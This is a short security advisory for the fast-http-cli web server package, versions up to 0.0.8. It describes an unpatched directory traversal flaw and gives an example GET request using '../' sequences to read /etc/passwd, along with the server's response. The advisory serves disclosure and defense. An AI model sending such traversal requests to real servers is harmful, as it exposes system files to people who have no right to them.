| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| fast-http-cli | = 0.0.1= 0.0.2= 0.0.3= 0.0.4= 0.0.5= 0.0.6= 0.0.7= 0.0.8 | |
| fast-http-cli | ≤ 0.0.8 |
fast-http-cli is the command line interface for fast-http, a simple web server.
fast-http-cli is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.
Example request:
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost
and server Response:
HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked
{contents of /etc/passwd}
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí